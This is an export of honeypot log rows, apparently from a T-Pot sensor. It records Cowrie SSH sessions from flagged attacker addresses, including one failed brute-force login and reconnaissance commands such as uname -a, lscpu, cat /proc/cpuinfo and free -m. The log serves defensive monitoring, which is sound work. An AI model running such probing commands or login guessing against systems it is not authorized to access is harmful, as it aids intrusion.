33658	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:32.602291+03	2021-09-20 15:00:06.13975+03	{"_id": "DAYQA3wBvYTbRNuEnlFo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.session.params", "message": [], "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:32.602291Z", "@timestamp": "2021-09-20T11:56:32.602Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	\N	\N
33659	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:32.485094+03	2021-09-20 15:00:06.140752+03	{"_id": "CwYQA3wBvYTbRNuEnlFo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:32.485094Z", "@timestamp": "2021-09-20T11:56:32.485Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33678	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:33.466881+03	2021-09-20 15:00:06.164753+03	{"_id": "GAYQA3wBvYTbRNuEolFQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:33.466881Z", "@timestamp": "2021-09-20T11:56:33.466Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33661	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:33.016384+03	2021-09-20 15:00:06.143724+03	{"_id": "EQYQA3wBvYTbRNuEnlFq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "110.137.195.172", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "929986875dbf", "@version": "1", "duration": 0.4142110347747803, "duplicate": true, "timestamp": "2021-09-20T11:56:33.016384Z", "@timestamp": "2021-09-20T11:56:33.016Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	\N	\N
33662	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:33.340193+03	2021-09-20 15:00:06.145724+03	{"_id": "FAYQA3wBvYTbRNuEolFQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "input": "lscpu | grep Model", "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:33.340193Z", "@timestamp": "2021-09-20T11:56:33.340Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
33663	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:34.008503+03	2021-09-20 15:00:06.146723+03	{"_id": "FwYQA3wBvYTbRNuEolFQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "110.137.195.172", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "929986875dbf", "@version": "1", "duration": 0.6689887046813965, "duplicate": true, "timestamp": "2021-09-20T11:56:34.008503Z", "@timestamp": "2021-09-20T11:56:34.008Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	\N	\N
33664	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:34.337322+03	2021-09-20 15:00:06.147724+03	{"_id": "GQYQA3wBvYTbRNuEplE6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.session.params", "message": [], "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:34.337322Z", "@timestamp": "2021-09-20T11:56:34.337Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	\N	\N
33665	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:56:35.29675+03	2021-09-20 15:00:06.148724+03	{"_id": "LAYQA3wBvYTbRNuEqlEj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "7948bfe3c04f", "@version": "1", "timestamp": "2021-09-20T11:56:35.296750Z", "@timestamp": "2021-09-20T11:56:35.296Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
33666	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:56:35.558677+03	2021-09-20 15:00:06.149724+03	{"_id": "LQYQA3wBvYTbRNuEqlEj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.login.failed", "message": "login attempt [gzp/gzp] failed", "session": "7948bfe3c04f", "@version": "1", "password": "gzp", "username": "gzp", "timestamp": "2021-09-20T11:56:35.558677Z", "@timestamp": "2021-09-20T11:56:35.558Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
33667	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:30.211333+03	2021-09-20 15:00:06.150723+03	{"_id": "9gYQA3wBvYTbRNuEllCX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "110.137.195.172", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "929986875dbf", "@version": "1", "duration": 0.41463804244995117, "duplicate": true, "timestamp": "2021-09-20T11:56:30.211333Z", "@timestamp": "2021-09-20T11:56:30.211Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	\N	\N
33668	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:31.078729+03	2021-09-20 15:00:06.152752+03	{"_id": "9wYQA3wBvYTbRNuEllCX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "120.36.157.98", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "60e8465f283a", "@version": "1", "duration": 0.5788123607635498, "duplicate": true, "timestamp": "2021-09-20T11:56:31.078729Z", "@timestamp": "2021-09-20T11:56:31.078Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33669	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:30.500562+03	2021-09-20 15:00:06.153754+03	{"_id": "8gYQA3wBvYTbRNuEllCV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:30.500562Z", "@timestamp": "2021-09-20T11:56:30.500Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33670	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:30.499998+03	2021-09-20 15:00:06.154722+03	{"_id": "8QYQA3wBvYTbRNuEllCV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.params", "message": [], "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:30.499998Z", "@timestamp": "2021-09-20T11:56:30.499Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33671	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:30.581586+03	2021-09-20 15:00:06.155754+03	{"_id": "9AYQA3wBvYTbRNuEllCV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "input": "top", "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:30.581586Z", "@timestamp": "2021-09-20T11:56:30.581Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
33679	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:35.118559+03	2021-09-20 15:00:06.165723+03	{"_id": "GgYQA3wBvYTbRNuEplE6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:35.118559Z", "@timestamp": "2021-09-20T11:56:35.118Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
33672	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:56:31.498359+03	2021-09-20 15:00:06.156753+03	{"_id": "-AYQA3wBvYTbRNuEmFDg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "107.0.200.227", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37502, "timestamp": "2021-09-20T11:56:31.498359", "@timestamp": "2021-09-20T11:56:31.498Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33673	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:31.49533+03	2021-09-20 15:00:06.158723+03	{"_id": "_wYQA3wBvYTbRNuEmlB_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:31.495330Z", "@timestamp": "2021-09-20T11:56:31.495Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33674	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:31.783015+03	2021-09-20 15:00:06.159755+03	{"_id": "AgYQA3wBvYTbRNuEmlF_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.session.params", "message": [], "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:31.783015Z", "@timestamp": "2021-09-20T11:56:31.783Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	\N	\N
33675	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:31.783551+03	2021-09-20 15:00:06.161753+03	{"_id": "AwYQA3wBvYTbRNuEmlF_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "input": "uname", "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:31.783551Z", "@timestamp": "2021-09-20T11:56:31.783Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
33676	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:33.339636+03	2021-09-20 15:00:06.162756+03	{"_id": "EwYQA3wBvYTbRNuEolFQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.session.params", "message": [], "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:33.339636Z", "@timestamp": "2021-09-20T11:56:33.339Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	\N	\N
33677	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:34.042747+03	2021-09-20 15:00:06.163754+03	{"_id": "FgYQA3wBvYTbRNuEolFQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "120.36.157.98", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "60e8465f283a", "@version": "1", "duration": 0.5765056610107422, "duplicate": true, "timestamp": "2021-09-20T11:56:34.042747Z", "@timestamp": "2021-09-20T11:56:34.042Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
